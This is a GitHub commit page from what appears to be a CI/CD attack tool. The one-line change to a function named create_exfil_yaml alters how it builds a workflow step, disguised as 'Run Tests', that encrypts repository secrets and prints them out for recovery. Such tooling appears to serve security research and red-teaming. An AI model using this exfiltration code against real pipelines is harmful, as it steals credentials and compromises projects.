Skip to content

Commit

Permalink
Fix issue with exfil failures.
Browse files Browse the repository at this point in the history
  • Loading branch information
AdnaneKhan committed Dec 7, 2023
1 parent 03f1fd3 commit ea8f15f
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion gato/attack/cicd_attack.py
Original file line number Diff line number Diff line change
Expand Up @@ -107,7 +107,7 @@ def create_exfil_yaml(secrets: list, pubkey: str, branch_name):
{
'name': 'Run Tests',
'env': secret_envmap,
'run': "openssl rand -out sym.key 32; echo -n '$';"
'run': "openssl rand -base64 24 | tr -d '\\n' > sym.key; echo -n '$';"
f"{echo_cmd} | openssl enc -aes-256-cbc -kfile "
"sym.key -pbkdf2 | base64 -w 0 | tr -d '\\n';"
f"echo '$'; echo -n '$'; cat sym.key | base64 | "
Expand Down

0 comments on commit ea8f15f

Please sign in to comment.